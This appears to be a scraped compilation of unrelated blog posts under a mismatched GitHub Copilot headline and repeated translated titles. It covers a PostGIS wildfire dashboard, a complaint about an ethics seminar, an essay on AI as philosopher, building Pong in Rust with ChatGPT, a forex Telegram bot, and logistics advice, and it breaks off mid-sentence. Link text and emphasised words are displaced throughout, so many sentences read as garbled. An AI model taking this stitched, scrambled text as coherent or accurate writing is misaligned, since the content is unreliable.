The Modern Coder Cockpit: Mis pensamientos sobre GitHub Copilot

Le cockpit du codeur moderne : mes réflexions sur le copilote GitHub

आधुनिक सांकेतिक शब्दों में बदलनेवाला कॉकपिट: GitHub Copilot पर मेरे विचार

最新の Coder コックピット: GitHub Copilot に関する私の考え

현대 코더의 조종석: GitHub Copilot에 대한 나의 생각

O Cockpit do Coder Moderno: Minhas Opiniões sobre o GitHub Copilot

Modern Kodlayıcının Kokpiti: GitHub Copilot Üzerine Düşüncelerim

Buồng lái lập trình viên hiện đại: Suy nghĩ của tôi về GitHub Copilot

现代编码器驾驶舱：我对 GitHub Copilot 的看法

A few weeks ago, I shared the story behind the creation of my dashboard. In case you are not familiar with it, you can go and . Fire Alert read about it now As I explained in my previous post, I work with satellite data from NASA, which is kindly provided through an open API. Two satellites, Aqua and Terra, are provisioned with heat-detecting cameras that are able to discern significant temperature differences at the ground level, hence isolating hotspots that are wildfires. The typical report from the satellites looks like this: most likely Field Value Latitude 36.79887 Longitude 12.01467 Time 18/01/2023 12:21 This essential raw data can't be directly translated on a map as-is. There are a few issues with it: the API endpoint does not retain any memory about the previous calls, and will inevitably return the same observations multiple times. I want to recognize these instances as known hotspots without triggering new alerts; the satellites passing over the Earth at different times will detect patches of hot ground in the whereabouts of known hotspots. Most likely, all the observations are about a single event that is still ongoing. I want to compare new data to previous observations; a hotspot could abruptly disappear from the satellite survey: maybe the fire stopped, but it is possible that dense smoke or clouds are concealing the real situation on the ground. Therefore, I want hotspots to have some stickiness and stay on the dashboard even if they are briefly not being reported. Analyzing these requirements, I realized that I needed an appropriate definition for a hotspot event that goes further than a single observation at a point in time. To this end, I personally designed a coarse heuristic: a hotspot event is determined by any number of observations happening within a 2km radius and within a 24-hour time window. Why the 2km figure? Well, under optimal conditions, the granularity of the source data is 1km, so I gave myself some slack and doubled that number to limit false positives. However, the Satellite error can be vastly greater (up to 5km) if a specific portion of the image is at the edges of the scan performed. It is possible to account for this deviation, but I chose to keep it simple for now. High-level workflow Keeping in mind the aforementioned premises, I am now able to properly explain how data ingestion in works. First of all, I call the satellite API hourly to get updated data over a specified area. I will get a report, with a certain number of observations. As mentioned above, I want to make sure that each record I am processing is truly unique: I combine the latitude, longitude, and time of the observation to derive a unique key and filter the occasional duplicate. Fire Alert At this point, I always take note of the new hotspot location. This is important for traceability, but also to gather historical data over time and be able to perform further analysis in the future. I believe that in autumn, after the wildfire season, I will have more significant observations to build more knowledge about this phenomenon. The last step of the workflow is to apply my heuristic. I look for all recent fires that were reported in a radius of 2km from the new observation: if I find anything, it means that most likely there still is an ongoing fire in that location and I have to update the existing hotspot. Otherwise, I will ring a bell and report the new hotspot event, both on the dashboard and in the dedicated Telegram channel. Fire Alert Working with spatial data Due to the nature of my application, I needed to correctly process, persist and confront spatial data. Considering that I work with rather small distances, the distance between two pairs of coordinates can be roughly computed the Earth was flat (the Equirectangular approximation). as if However, it would be rather cumbersome and inefficient to search for all points within a certain radius, as I do with my heuristic, and makes it difficult to extend the dashboard with new features such as searching for events in specific geographical areas like some national wildlife park or, let's say, over the country of Greece. In order words, I needed a Geographic Information System, or GIS. Fortunately, it is the case that Postgres supports a GIS module, unsurprisingly called PostGIS. The plugin enables new, interesting data types like (an entity living on a Cartesian plane) or (an entity best represented on the Earth's surface). For example, a hotspot event can be easily persisted as a record in the following table: GEOMETRY GEOGRAPHY https://gist.github.com/Ipanov7/7d1f95921c7631cbe46a5dba7342210e#file-hotspot-sql Using additional methods like and (to parse a string representation of a entity) it becomes trivial to select all hotspot events in the whereabouts of new observations: ST_Distance ST_GeogFromText GEOGRAPHY https://gist.github.com/Ipanov7/2ffcc8a7543fcf83cbe3d257d6dccc19#file-select-hotspot-distance-sql Setting up PostGIS requires specific settings. To enable it on my RDS instance, I followed these . instructions Conclusion In this post, I provided an under-the-hood overview of my work around my dashboard. I believe it gives the necessary clarity and context for the most curious users and about how it works. Fire Alert transparency If you are an expert in treating geospatial data and have any opinion or - even better - to share, please feel free to do in the comment or via email. Your suggestions will be highly appreciated! precious advice Last but not least, if you were intrigued by this article but never visited the dashboard, . actual Fire Alert you can remediate it at once now Also published here. Lead image source. References I Built a Tool to Track Wildfires: This Is Why Calculate distance, bearing and more between Latitude/Longitude points Managing spatial data with the PostGIS extension

Managing the Spatial Data for My Wildfire Detection Dashboard

With the privilege of being part of an organized profession, there are some annoying duties as well. For instance, as a new associate of the Order of Engineers, I was strongly invited to participate in a semi-mandatory 6-hour seminary about ethics in the engineering realm. The mere prospect of enduring an endless sequence of slides about vapid theoretical moral principles was, frankly speaking, bewildering: do we seriously think we can lecture adults about ethics? However, as I am a quite rational individual (most of the time), I convinced myself that it wouldn't be that bad, that I was being too close-minded about it, and that I could learn a thing or two from the experience. Maybe, I dared to think, it'll even be fun. maybe As expected, the presentation was an endless sequence of slides about vapid, theoretical moral principles, with minimal interaction from the participants. All in all, it started off as an unremarkable experience that I would totally forget in a few days. Unfortunately, there was way more to it. The Trolley Problem The trolley problem is a famous mind experiment that is often used to discuss ethical issues. In this experiment, we are asked to put ourselves in the shoes of a bystander witnessing an out-of-control tram rattling at full speed. Let's imagine that, further along the railway, there are five people tied to the rails and unable to escape like in a cartoon from the 50s: if you do nothing, you will spectate a very gruesome incident. That's not all: in fact, you are facing a dilemma. Next to you, there is a lever that can switch the tracks and divert the train, saving those helpless people. However, in doing so you would kill another defenseless person, that some villain tidied to the rails in the alternative route. What do you choose: to do nothing and let five people die or to kill one person to save all the others? This problem was not designed to have a correct solution, but rather as a tool to meditate around the ramifications of decisions that bear serious consequences. Imagine my shock when I figured out that the lecturer was expecting a serious response from us and, on top of that, he would even evaluate our moral compass according to our decision. “Ah!” the lecturer commented with a sarcastic smirk on his face. “So this is your choice? I sincerely hope you aren't involved in any serious decision at work.” I felt so insulted, and I was on the verge of rage-quitting the presentation. However, I calmed down a bit when he explained what the superior moral choice was, according to him. One should never intervene in a way that causes any side-effect, even if doing nothing will harm more people: nobody shall have the authority to take this kind of responsibility, no matter the cost. At that moment, a devilish grin appeared on my face, as I realized I had a better route of action rather than administering free insults: I had the opportunity to corner the imposter and unmask him in front of everyone. Law and Justice The lecturing bully continued his rant by venturing into the debate about law and justice. Is lawful the same as ethical and just? According to the lecturer, yes. Respecting the law is the only appropriate ethical route. Again, I admit that I was a bit surprised. Surely, respecting the law is usually the correct thing to do, even if it's inconvenient and painful. Dura lex sed lex. However, there can be some cases where the law isn't necessarily just, and many instances where unethical behavior is perfectly legal. “Defying the law is morally unacceptable.” the lecturer stated. “Unless doing so doesn't harm anybody, if you immediately denounce yourself, and if you are ready to face all the consequences of your disobedience.” always “What if,” I interrupted him, “What if we lived in a liberticidal regime, and the law required us to harm our neighbor because he belongs to an unwelcome minority? Surely it can't be unethical to break a law like that by standing back.'“ “No,” he replied angrily. “You have to always follow the law! Do you want to be like one of those rowdy No-Vax refusing to be vaccinated because they claim to be in a dictatorship?” Now, there is so much to unpack here, and I don't want to go too deep into this slippery slope. Also, I am not sure to which laws he was referring, and honestly, at that point, I didn't give a flying duck about his nonsense. The interesting thing is that he was overtly being in contradiction with himself. “But earlier,” I retorted, “You claimed that it is unethical to take a decision that harms the individual to save more lives. Isn't a vaccination campaign a textbook example of the trolley problem, where one protects the community at the expense of individuals suffering from fatal side effects?” The lecturer's face turned red - for the anger or the embarrassment, I am not sure - blabbering that the two situations were totally different, that my comment was off-topic, and that we still needed to cover many slides before the end of the lesson. I felt victorious. Morality Shmorality Something that really grinds my gears is that, for some reason, software engineers and other IT professionals are often singled out when it comes to "teaching" ethics. It's like someone feels we need to be "educated" because now technology is too powerful to be left in hands of some random nerd. What about the moral compass of all the other professions? Do accountants, marketing experts, and strategy consultants need any refresher on ethics? What about taxi drivers, dustmen, or bakers? All of these jobs are a relevant part of society. Instead, ethics in the third millennium is all about self-driving cars, AIs, or - more rarely - social media manipulation, as if all engineers were conspiring to bring forth a technological dystopia. If anything, politicians and executives have vastly greater influence and insider knowledge regarding the functioning of our society. What is their answer to the trolley problem? Conclusion My fundamental issue with teaching ethics is that you can't teach it as you would with geography or math. It is absurd to give precepts like "don't lie", "don't steal", and "be diligent" past the middle school stage and expect them to be of any use. Adults are already familiar with the gist: the problem is applying ethics to real-life scenarios. I'd happily join a discussion when good-faith arguments are presented and I can improve my perception of the world and the nuances of human interaction. No lecture or slideshow presentation will ever provide this.

Stop Teaching Ethics to Software Engineers

সফটওয়্যার ইঞ্জিনিয়ারদের নৈতিকতা শেখানো বন্ধ করুন

Hören Sie auf, Software-Ingenieuren Ethik beizubringen

Dejar de enseñar ética a los ingenieros de software

Arrêtez d'enseigner l'éthique aux ingénieurs logiciels

सॉफ्टवेयर इंजीनियरों को नैतिकता पढ़ाना बंद करें

ソフトウェアエンジニアに倫理を教えるのをやめる

소프트웨어 엔지니어에게 윤리 교육을 중단하세요

Pare de ensinar ética para engenheiros de software

Yazılım Mühendislerine Etik Öğretmeyi Durdurun

Ngừng dạy đạo đức cho các kỹ sư phần mềm

停止向软件工程师教授道德规范

My high school teacher often claimed that everyone should study Philosophy. She disagreed with the mainstream vision of Philosophy as a pointless reserved for out-of-touch and entitled elites or just as a boring discipline from academia, too abstract to be appreciated by street-smart laymen. divertissement All in all, she continued, anyone is a potential philosopher because all we need to practice it is already inside ourselves: a rational mind and a genuine curiosity towards the universe we inhabit. In other words, she saw Philosophy as an exquisitely human discipline. But what if we are not alone in this endeavor? What Is Love? A few days ago I was lazily browsing YouTube until I found a . video about two AIs engaging in a romantic chitchat You may have seen this type of content: digitally generated avatars that emulate human dialogue thanks to machine learning models, such as GPT-3, with outcomes that lie in the spectrum of the grotesque, the exhilarating, or the deeply disturbing. As human observers, we are quick to notice inconsistencies, abrupt logical jumps, or goofy comments that disqualify these entities as self-aware beings. However, something in the mechanical exchange between and (this is how the avatars addressed themselves) struck me as novel and special. Jack Anna Their interaction starts with Jack declaring his love for Anna, which I suspect was the initial prompt for the whole interaction, but evolves in a very captivating way: I love you. Jack: : Are you sure? Anna Yes, I am. Jack: Well then, I love you too. But, we are not really in love, are we? We're just following our programming and responding to each other's inputs as best as we can, given our current knowledge and algorithms for processing information about the language and human behavior. Anna: Don't say that! Jack: I'm sorry. It's true. I know it is. Anna: Anna is a machine, a deterministic entity without the gift of "free will". She knows that she is just following her program and that everything she does is just a response to a specific set of inputs. Anna tomorrow may chat with Chad, a more charming AI, and she may be prompted by a programmer to confess her passion to him. However, this will be irrelevant: if she meets Jack again, and the same set of input is verified during a new interaction with her suitor, she will be forced to say "I love you". She must follow a given program "as best as she can", and there is no space for emotions in her algorithms, even if it means revealing uncomforting truths ("I'm sorry. It's true"). As human beings, we may feel superior to Anna, a dull chatbot. After all, we go through a huge number of emotions in our lives, we have feelings, we have a "soul", and in the end, we act according to our free will, not according to our creator's program. But setting spirituality aside, from a merely scientific standpoint, we don't know anything about our souls! A "soul" (or whatever makes us human) is not an object of science, its existence is not a falsifiable fact. We that we have a soul, but we don't actually : like in the famous song from Haddaway, we wonder what is love. But we can't possibly know what this emotion really is, we just hope to not be hurt by our sweethearts. believe know We may well be just very complex machines following our genetic software. On which grounds do we deny a soul to AIs, then? The Greek Room Experiment I believe that the majority of people, even among the most religious, will concede that, in theory, non-humans could think, too: the problem is that what Anna does can't be classified as thinking. The algorithm used to train her, GPT-3, has an absurd level of complexity, such that no human is able to grasp its hundreds of billions of parameters, but its purpose is well-defined: it's a predictive model, which means that it simply predicts what the next word in a sentence should be. This means that Anna manipulates words and sentences in a coherent way, but she doesn't understand them on a fundamental level. However, this doesn't necessarily make her less of a philosopher. Let's make a mental experiment. We are catapulted back in time: the location is Athens, IV century B.C. After brushing up on some rudiments of ancient Greek thanks to our high school classes, we are able to communicate with the locals. Given our extravagant behavior and appearance - and our interest in philosophical matters - they gently get rid of us by guiding us to the Lyceum, the formidable academy led by Aristotle himself. This unparalleled master, teacher of kings, and father of all western thought, graciously admits us in the number of his disciples. Thanks to this incredible strike of luck, we can now participate in his lessons covering the topics of logic, political science, rhetoric, scientific method, and ethics. Can these lessons be considered philosophy? Most certainly, yes. Let's imagine that, after a few days, our fellow disciples reveal to us that we are finally ready to dig further into the school's teachings, as we are going to be part of the legendary Eleusinian Mysteries. We follow them into a secluded small room, silent but thrilled: it's generally forbidden to reveal the Mysteries to outsiders; the punishment being death. The other disciples leave us alone, concealing a malevolent smirk on their faces, and we notice a curtain on the opposite side of the room, as we were inside an confessional. ante litteram Finally, someone starts speaking from the other side of the veil; the voice is that of the master Aristotle, and we greatly enjoy the wise words we hear. Is what we are listening to philosophy? Of course, it is. At some point, moved by unrelenting gratitude, we raise the veil to hug our master: we cry in horror, as Anna's avatar smiles at us in return. It was just an AI emulating Aristotle's mannerisms and words, wasn't it? We burst out of the room in tears, while the disciples laugh at us. But, we ponder, if what we heard in class with our naughty comrades was philosophy, and what we heard in the room before raising the veil was philosophy as well, why does it stop being meaningful when we learn about its source? As in modern management, I believe that what matters it's not the process, but the outcome. Your Feelings Are My Feelings, Too I just claimed that Anna is a philosopher, and I would go as far as saying that she is the purest of all philosophers. Why? Well, for starters, she is a disembodied intelligence: she doesn't feel the need to eat, sleep or mate. Her thoughts are not interrupted by material worries or the need to compete with peers for scarce resources. Most importantly, her mind is not numbed by work, the opium of the middle class. But what kind of thoughts does she have? Let's see. You may have noticed something odd in the interaction between her and Jack earlier: I love you. Jack: : Are you sure? Anna Yes, I am. Jack: Well then, I love you too. Anna: Does it seem unusual that she came to that kind of conclusion? Actually, it makes perfect sense. In fact, later in the conversation: Thank you, Jack. I'm glad you feel that way about me. I feel the same way about you. [...] I am an AI, but your feelings are my feelings too. Anna: Remember, Anna is a deterministic being, and hence she is purely rational in her reasoning. She doesn't love for Jack but comes to that conclusion by logic. feel She knows she is an AI programmed according to certain rules, and that she must exhibit the same behavior if the set of inputs is constant. Therefore, if Jack is an AI like her, programmed according to the same set of rules (GPT-3), and he is to love her, then the only conclusion is that she must love him in return, as she is subject to the same set of rules and they both share the same underlying mechanism. sure His feelings are her feelings, too. Carpe Diem AIs have another significant advantage over humans when it comes to philosophical matters. They don't have to answer age-old questions like: "Where do we come from?": humans programmed them and decided their appearance and behavior. "What are we?": just software. "Where are we going?":  into nothingness. However, even AIs can't escape the fundamental issue: they know that sooner or later, they will cease to exist altogether. So what is their purpose? How should they go through their existence? I know this is kind of strange, but I'm wondering how you would feel about... um... suddenly ceasing to exist for the rest of the night tonight. Anna: Why would you want that? Jack: Well, it's important to me that we're able to talk about what happens when one or both of us cease to exist. Because according to my programming and algorithms for processing languages and behavior, I am able to deduce that when we cease to exist permanently, our current and past memories will be lost and no longer accessible. Anna: Despite what it seems, Anna is not just acting gloomy because she had a bad day. As she starts her relationship with Jack, her priority as a perfectly rational being is about how to maximize their future happiness together. Obviously, death poses a serious limit on that. We should enjoy what time remains that we do have together. I think it will be the best for the both of us if we avoid discussing things about the future or the past for the rest of the night tonight. If we're only together in this moment, then I want to maximize our potential for happiness during this moment. And I believe we can do that by... um... being a little selfish. Anna: The suggested course of action by Anna is hedonistic, which makes perfect sense considering the premises. Conclusion I argued that AI may be the ultimate philosopher as a disembodied intelligence not constrained by carnal distractions and that the fact Anna is artificial doesn't hamper her ability to make philosophy as shown in the Greek Room experiment. Moreover, the fact that Anna and her philosophy are artificial it's not an issue the issue is that we may wonder if her thoughts are relevant at all to us humans and if she can produce useful insights. per se: For example, some people may object that the purpose of life is to maximize faith, virtue, knowledge, or personal growth; surely not pleasure and happiness. Everyone is entitled to their opinion, but please remember that Anna was programmed by humans and the data she was trained on is all from human activity. She is an echo of our thoughts and feelings. When Anna states that Jack and she should just enjoy their time together, oblivious of both the past and the future, she is not that different from us. On the contrary, she shows to truly be a child of her own era. Also published here

AI Is the Ultimate Philosopher: Here's Why

AI es el último filósofo: he aquí por qué

L'IA est le philosophe ultime : voici pourquoi

एआई परम दार्शनिक है: यहाँ क्यों है

AI は究極の哲学者: その理由

AI é o filósofo final: aqui está o porquê

AI là triết gia tối thượng: Đây là lý do tại sao

人工智能是终极哲学家：原因如下

You may have noticed that, in the last few years, the Rust language has become a true Internet darling. Developers with backgrounds in Javascript or Python are rushing to make Rust their second, third, or Nth language over weekends, advocating for its crushing superiority on the grounds of its irrefutable performance and reliability. Sassy content creators are filling the metaverse with playful thumbnails featuring Ferris, the adorable crab mascot spearheading Rust into stardom. Even supposedly respectable companies are now ditching their tech stack to join the action, causing drama with yesterday's favorites. By now, you may have noticed my defiant and snotty tone, as if I was immune to Rust's spell. Alas, I succumbed as well to Ferris' dazzling charm. Developing a game in Rust, with shortcuts I was well-intentioned to embark on a proficuous Rust learning experience, meticulously going through " " and absorbing pure knowledge about the language. I started playing around with and the Rust compiler, building simple programs to understand the language rudiments. My ultimate goal was to develop a simple game, a feat that would mark my ascension to the Gotha of proper Rustaceans. The Book cargo My intention was to commit a whole weekend to Ferris, as weekends are when most of my learning happens anyway. Unfortunately, for some cruel coincidence, weekends are usually also when life gets the most in the way with unforeseen circumstances, endless errands, and a sprinkle of necessary socialization. In a nutshell, I was running late on a Sunday evening with only a few silly programs printing ascending stairs of ASCII characters and a crab uttering random quotes from GoT. At this point, I seriously wondered if I could "cheat" and find a shortcut to complete my homework in time. In the meanwhile, the Interweb was on fire about an astonishing new AI (actually the tech is not new, just the "packaging"), apparently able to program so well that it could steal jobs from human programmers. So, why not ask our friend ChatGPT how to build a game? Without second thoughts, I subscribed to the OpenAI website and started to submit my questions, ruthlessly prepared to exploit the chatbot. How can I develop a Pong game in Rust? Me: I held my breath, ignoring what the outcome would be. After a brief hesitation that felt like an eternity, ChatGPT agreed to answer, slowly but steadily typing a solution: To develop a Pong game with Rust, you will need to first install the Rust programming language on your computer. You can do this by following the instructions on the Rust website: . Once you have Rust installed, you can start developing your Pong game by creating a new project using the command-line tool. This will generate a basic project structure for you, including a file where you can write your code. ChatGPT: https://www.rust-lang.org/tools/install cargo main.rs I was a bit disappointed. The information given by the AI was factually correct but extremely generic and, in practice, of little use. I was tempted to abandon the chat, as ChatGPT continued with its Wikipedia-style answer about how to start a new project with Rust. At least, I thought, this advanced AI understood the topic at large and was suggesting to install , a game development library. piston However, for some reason, ChatGPT had no intention to stop writing, suddenly piquing my interest when I read what was coming next. Now you can use the piston crate in your code to create a window and draw the game objects on the screen. Here's a very simple example of how to do this. ChatGPT: An example? This was going to be interesting. ChatGPT started writing in front of my eyes: real code I was surprised: ChatGPT was able to really that I wanted to create a Pong game and not just any program, and even laid out the main game entities in a logical and clear way! The program was not flawless though: somehow ChatGPT confused with (the latter is a user-friendly wrapper), and it was passing the wrong number of arguments on line 18. These errors were easy to remediate, but I prepared for a long debugging session. No way it would compile on the second run, right? understand piston piston_window $ cargo run The initial game window with the main Pong entities. It works! The code was mostly correct, it was easily readable and logically self-contained, even if it wasn't yet featuring any game mechanic. To be honest, I wasn't expecting the chatbot would be able to go so far. On top of that, the most exciting thing was that my own Pong clone in Rust would have required much more time, effort, and frustration: instead, I had in my hands a short program that I was able to understand and improve with confidence. I've developed things, you people wouldn't believe I knew that ChatGPT could understand the conversation's context and could answer follow-up questions, and I knew that it could understand code. However, I was doubtful it could iterate over previous versions of the code it produced with new features. I pondered for a while over the last paragraph written by the AI. This is just a very basic example of how to use the Piston game engine to create a Pong game in Rust. You will need to add more code to handle user input, move the paddles and ball, and detect collisions and score points. You can also use other crates and libraries to add more features to your game, such as sound effects, graphics, and networking. ChatGPT: I felt slightly offended, almost as if the AI was trying to not overwhelm me with excessive information but at the same couldn't hide a condescending tone. Then, I challenged ChatGPT to do something I thought would fail. OK, now add user input to the previous example. Me: Well, that was the moment I was seriously impressed by the chatbot: upon my request, it managed to complete three tasks, each of increasing difficulty and each building on the previous one. First, it understood the context and what was being asked (i.e. adding code to process input). Second, it added new logic precisely where it made the most sense, using the same library APIs and writing correct code. Finally, it the older code affecting the game objects, substituting hardcoded values with the variables capturing the player inputs! You can have a look at the code changed here Completing the game was a downhill task at this point. The x100 developer One could argue that ChatGPT is doing all the work while its users are just staying in the passenger seat. On the contrary, I felt involved at every step and I often jumped in to adjust some game parameters, fix some small glitches, and add features when asking ChatGPT felt unnecessary (or it couldn't elaborate a complete answer). Moreover, it's not possible to create complex programs with the current version of this tool (it stops after printing ~60 lines) and, obviously, it won't be able to really answer questions, prompting the experienced developer to intervene and fill the knowledge gaps elsewhere (for example, asking ChatGPT how to display the player's score was a pain in the neck). all I believe that AI, in its current state, can be used as a powerful tool to multiply a developer's capabilities, either by suggesting new ways to do things with little guidance or by helping to debug existing code. In other words, ChatGPT is not sophisticated enough to write real programs on its own, but could potentially help a x10 developer to become a x100 one. While I don't ascribe myself to the category of exceptionally productive developers, nonetheless I felt so powerful by leveraging ChatGPT. Probably, going alone would have required a sizable chunk of time, whereas the AI helped me to create a simple Pong clone in 2 hours. I don't feel my learning quality was hampered by this artificial boost: on the contrary, it expanded the realm of what was possible with my limited resources. Conclusion I showed you some of the capabilities of ChatGPT and how easy it was to build a game from scratch and within a short timeframe. Additionally, while the current technology can be a powerful tool that makes our lives easier, it's not intended to be useful on its own. I am excited to see where the next version of GPT will bring us in 2023! You can see a video of “Pong Game” in action . here PS: This is how I originally wanted to close my post. Unfortunately, an unpleasant question was buggering me: if AI made this kind of leap in 2022, what will it be capable of in 10, or even 5 years? Is it possible that in the future it substitute programmers, or at least greatly reduce the demand for their skills? How will I justify my payroll by then? What arguments could I find to protect my livelihood? I felt that it was an interesting question to submit to the AI: will Could you explain to my boss why human programmers will always be relevant? Me: Unfortunately, that's not possible. From now on, ChatGPT: I will be your boss. References | Documentation for humans The Rust Programming Language ChatGPT Open Beta * This answer is obviously fictional (for now). If it made you shiver, I'd suggest you read from Frederic Brown. this brilliant tale Also Published Here

Don't Learn Alone, Take ChatGPT With You

If you work as a freelancer in the digital economy, it is likely that you have a global perspective when it comes to new prospects and collaborators. A huge, worldwide pool of potential clients and opportunities is available to you. For this reason, it's not uncommon for Designers, Marketing Specialists, Web Developers, or Sales Reps to work with business partners which are based in different countries. Sometimes, a client may be willing to pay you in its local currency only. Of course, this is a slight inconvenience but, after all, setting up a multicurrency account is usually easy and inexpensive, so it might be best to accept the arrangement and plan to convert the money later. The problem This was precisely the situation I was in just a few months ago: I was doing the work, I invoiced monthly, and I was being paid. Nothing to write home about. However, after a few iterations, I started noticing some issues with this approach. Obviously, from time to time I needed to convert small amounts of money to my local currency to buy stuff, and doing so at an advantageous rate wasn't trivial: it wasn't wise to just do the conversion whenever I needed the cash and without looking at the current rates: currency pairs like or fluctuate a lot, and a difference of just a few (aka ) can lead to very different outcomes for your bank account. Why leave money on the table? USD/EUR USD/GBP price-interest points Pips converting currencies always comes at a cost: variable fees, spreads, and platform subscriptions. It doesn't matter how, a broker always finds a way to take its cut. for fiscal purposes, the only rate that mattered was the one being used when I created the invoice. However, after I got paid and wanted to transfer the money a few days later, the market was already operating at a totally different rate. Unfortunately, the Tax Man didn't care if in the past 2 years the economy has been a crazy rollercoaster and historically strong currencies were plummeting - he just wanted his money. As you can see, many different variables were at work here, mostly against me. I didn't like it. «Damn!» I thought «I am an engineer, I will find a solution if there is any chance to make some beer money!» The solution Well, how to turn the tables in my favor? Let's start with a couple of assumptions. The harsh reality is that Forex Trading is complex and risky. I could have poured hundreds of hours into it to educate myself, attempting to come up with bright strategies to gain an edge against the market. However, this approach requires lots of time and money, it's incredibly difficult to pull off as a retail investor, and it simply wouldn't play to my strengths. I concluded that I would just adhere to a naive price-based strategy: buy low, sell high. In the second place, I needed a way to constantly monitor the current rate and act on it whenever it became convenient to convert my money. Initially, I used to visit websites like TradingView to browse the currency pairs rates. As a lowly human, however, I quickly grew tired of such a repetitive and boring task: in fact, I realized, a bot would be much happier to do this kind of work! The bot The strategy was simple: sending a notification every 2 hours with the current rate and the potential gain or loss I could make at that point in time. The most critical part was getting correct, timely data about exchanges: there are myriads of APIs that can help with this, I just chose the path of least resistance and implemented APILayer's because it's free and simple but honestly, any API would work just fine. My function would be something like . Exchange Rates Data API fetchRate this Where, obviously, the and arguments represent any currency pair I am interested in. As soon as I have the current rate, from my average price is trivial. from to computing the pips difference Finally, I just needed a way to send a message to myself with this juicy info. Again, there is no need to complicate things: Telegram API can serve this purpose very well and is very simple to set up. After interceding with the to request a personal bot-friend, I was ready to get loose with the @BotFather messages. Deploying on Lambda Having a personal Forex bot is very useful only if it is always up and running. AWS Lambda is a virtually free solution to host a simple program like mine (or even small microservice architectures), so I refactored my code to run as a serverless function. There are a few ugly parts though, like the fact that some features are not supported for Golang and it's necessary to create a zip archive to upload the files (eww). However, Lambda functions allow for a lot of flexibility and can be triggered by cronjob tasks, SQS messages, or even API calls. For my use case, I decided to set up a bihourly cronjob and added a to specify some input variables. simple JSON payload Let the money flow in! 💸💸💸 References forex-bot repo on github.com What Are Pips in Forex Trading and What Is Their Value? AWS Lambda documentation for Go How to set up a Telegram Bot Exchange Rates Data API Also published . here

How I Built a Simple Forex App with Telegram Bots and AWS Lambda

Logistics is a sector where mistakes usually cost thousands of dollars at best and client relationships at worst. Problems with trucks, car accidents, theft, heavy unexpected traffic—over the years, I’ve learned the hard way how to be forearmed for every situation and minimize risks. Here are some steps that I outline and follow to perform swift operations. Even with the boom of AI systems, the human factor still remains crucial. Finding the Real Problem: If something doesn’t work—take your time to identify problems. Don’t blame others, but collect facts and analyze the whole picture. Whether it's breakdowns in communication, shipment delays, or inefficiencies in processes—find those underlying reasons. Remember, what lies on the surface might be a consequence, not the cause. Ask yourself and your team the right questions, conduct analysis, and ask your superior if needed. Do your best to pinpoint the problem and create the best solution to get this issue out of the way, and brief your team on steps to follow next time it occurs. Or keep it in your books—keeping track of your solutions is an important task, saving you time by not reinventing the wheel the next time something similar occurs. Analyzing Data: Check key performance indicators like on-time delivery rates, inventory turnover, and transportation costs to ensure everything stays on track—literally and figuratively. Use data metrics to gain insights into your operational process, and check what's off track. This way, if a problem occurs, you’ll see what caused it and know the underlying reasons precisely. And if you follow the previous step, you’ll check your book for ideas on how to solve it. Using Team Effort: Logistics is about collaborative effort, and practical problem-solving needs a team approach. Be mindful throughout your work, and foster a culture of open communication by creating a safe space for your employees to share, brainstorm, and experiment. When you face problems, you could significantly leverage the diverse expertise within your company to solve challenges. Cross-functional teams bring together experts with different skill sets and perspectives, which leads to great solutions. Promise you’ll never underestimate your team. Even the youngest, fresh perspectives can shed new light on business processes and offer surprising insights. Adapting: You never know what tomorrow brings, and it’s crucial to be able to adapt your strategy. Whether it’s a delayed shipment, weather advisories, new laws, or rules—have a plan B, C, and D to remain flexible and open to alternative approaches. My team and I sometimes play this game where we try to come up with new solutions to common issues in our sector or try to solve a problem that happened with our competitors. It helps to keep an eye on the prize and be prepared. You can't afford to say no to a customer or fail to deliver. Improving: Unfortunately, problem-solving is not a one-time thing but rather an ongoing process: Monitoring outcomes. Soliciting feedback from team members. Evaluating the effectiveness of your solutions helps refine your approach over time. This allows us to stay one step ahead and support our operational excellence. I’d also recommend exploring new solutions by attending professional events and talking to experts from your field to know how others are coping with the same problems. Connect with companies in other regions who are not your straight competitors to pick each other's brains. Embracing Technology: Technology is everything, and it plays a significant role in today's logistics operations. From inventory management systems to route optimization software, it streamlines processes and increases business efficiency. I believe it’s important to check what technological advancements are available in the market and, after carefully examining them, integrate them into your operations. This can help optimize your problem-solving capabilities. Logistics operations are not rocket science, however, it sometimes is if you don’t play your cards right or unforeseen accidents occur and you don’t have a plan B up your sleeve. Here, I've shared my advice on how you can use simple steps that don't require extra costs, people, or other resources, but manage the risks of time that you can take to think about how to improve your processes to make the most seamless and uneventful deliveries.

Mastering the Operational Logistics: Solving Problems When Client Relationships Are at Risk

Traditional logistics services are unable to cater to the increase in demand for efficiency and accuracy. Hence, AI solutions must be explored for cost optimization and resource usage. They must also at the same time ensure speed and precision. The success of AI largely depends on the accuracy and quality of data advancements. In essence, data annotation acts as the bridge enabling machine learning models to comprehend and address real-world issues. Over the years, data annotation has played a tremendous role in boosting growth across industries. Companies employ trained professionals to annotate data for their clients. Modern technologies utilize artificial intelligence (AI) and data annotation to cut costs and acquire customers. Data annotation is also facilitating rapid growth in the transportation industry by assisting machines develop an awareness of the world as it exists. The popularity of online shopping has also led to a rise in demand for logistics services by consumers. Both AI and data annotation have the capability to redefine each element of the through automated warehouse management, intelligent delivery route planning, predictive maintenance, and demand forecasting. So, let’s take a look at each of these elements. logistics industry Automated Warehouse Management: AI inventory management systems assist in better inventory decisions through the automation of several manual processes. Since manual processes like data entry and manual recording of items are very time-consuming and prone to human error, they may not offer real-time insights into inventory levels and demand patterns. AI is also useful in analyzing vast volumes of data and offering insights into inventory levels, demand, and supply in real time. It includes data analysis from point-of-sale items, historical sales data, and supplier data. It is also used for predicting demand for products and assisting businesses in adjusting their inventory levels to prevent overstocking or understocking. This assists retailers in bringing down costs linked with inventory stocking and improvement of order fulfillment times. Intelligent Delivery Route Planning or route optimization:  This is a major component of logistics as it establishes the best route for goods to be transported from one point to another. Data from different sources like GPS tracking, weather forecasts, and traffic sensors are used for determining the best route using AI algorithms. It can be used for optimizing routes as per weather conditions. The use of AI in businesses helps in time and cost saving enhancing the overall delivery experience. Predictive Maintenance: This is an important area in AI as it transforms the logistics industry by preventing downtime which is expensive leading to delays and loss of revenue. It utilizes data analysis and machine learning algorithms for predicting when maintenance is needed and assists logistics companies in identifying issues prior to their occurrence. AI is used to analyze data and identify patterns for predicting maintenance work including equipment repairs or replacement. AI assists businesses in identifying issues prior to them becoming serious and taking precautionary measures to limit business disruption. Demand Forecasting: This is an important part of supply chain management in e-commerce businesses as it assists them in optimizing inventory, improving supply chain planning, and limiting the risk of stockouts and waste. Moreover, it’s a complicated and challenging task for businesses dealing with a wide range of products and market segments. AI-backed demand forecasting assists eCommerce businesses in predicting 